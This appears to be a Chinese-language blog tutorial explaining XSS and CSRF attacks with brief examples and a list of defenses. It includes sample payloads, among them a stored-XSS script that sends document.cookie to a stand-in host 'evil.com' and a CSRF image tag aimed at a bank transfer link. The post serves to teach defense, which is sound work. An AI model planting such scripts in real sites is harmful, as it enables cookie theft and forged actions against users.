xss和csrf

1.xss-跨站脚本攻击

利用表单的输入没有进行过滤,向数据库写入js代码或iframe链接,然后相应的代码会被目标站点的页面解析执行。

示例 1:反射型 XSS

当网站直接将用户输入的内容插入到 HTML 中,而没有进行适当的转义时,攻击者可以利用这一漏洞执行恶意 JavaScript 代码。

1
2
3
<a href="https://example.com/search?q=<script>alert('XSS')</script>">
    点击这里
</a>

用户点击链接后,页面会执行 alert('XSS'),从而证明 XSS 存在。

示例 2:存储型 XSS

攻击者将恶意代码存储到数据库中,每次用户访问该页面时,恶意脚本都会执行。

1
2
3
<script>
    fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

一旦受害者访问该页面,他们的 Cookie 就会被发送到攻击者服务器,从而可能导致账号被盗。 

 

示例 3:DOM 型 XSS

如果前端 JavaScript 直接操作 document.write()innerHTML,攻击者可以操纵 URL 触发 XSS。

1
document.write(location.search);

如何防范?

  • 对用户输入进行过滤与转义
  • 启用 HttpOnly Cookie(输出cookie时设置响应头),禁止js读取cookie
    Set-Cookie: sessionid=abc123; HttpOnly

2.csrf-跨站伪造请求

CSRF 允许攻击者利用用户的已登录身份,伪造用户请求并执行敏感操作,如转账、修改密码等。

例子1:  正常登录后会,目标站点的代码逻辑会通过/userinfo/notice?uid=1的链接来获取当前用户的通知(uid代表当前用户的id),攻击者获取该链接后把uid换成其它,然后直接通过浏览器或其它站点来提交,如果服务器端没有检查请求来源是不是站内的或者没有比对传入的uid是否是当前登录用户的id的话,则可以获取到其它用户的通知。

例子2: 你访问了银行的网站,登录后银行网站会在你的浏览器中输出登录cookie,稍后你访问了一个网站b,网站B中将银行的某个链接,比如转账链接伪装成了图片请求<img src='http://icbc.bank.com/transfer'>,当你访问网站b时,浏览器就会携带上你的银行登录cookie去访问银行的转账链接,从而达到攻击目的。

如何防范?

  • 使用 CSRF Token(不适用于前后端分离模式)
    服务器生成一个随机 Token给客户端,要求客户端所有请求都要携带,然后服务端验证csrf_token 是否匹配
1
<input type="hidden" name="csrf_token" value="random_token_value">
  • 使用 SameSite Cookie

  现代浏览器支持 SameSite 属性,可阻止跨站点发送 Cookie,详情看这里

Set-Cookie: sessionid=abc123; SameSite=Strict
  • 限制 HTTP Referer
    服务器检查 Referer 头,确保请求来自本网站
  • 避免敏感操作使用 GET
    只允许 POST/PUT/DELETE 进行重要操作,避免 GET 触发危险请求。
  • 使用 CORS 保护 API
    配置 Access-Control-Allow-Origin,阻止跨站恶意请求
posted @   我是格鲁特  阅读(108)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
· 25岁的心里话
点击右上角即可分享
微信分享提示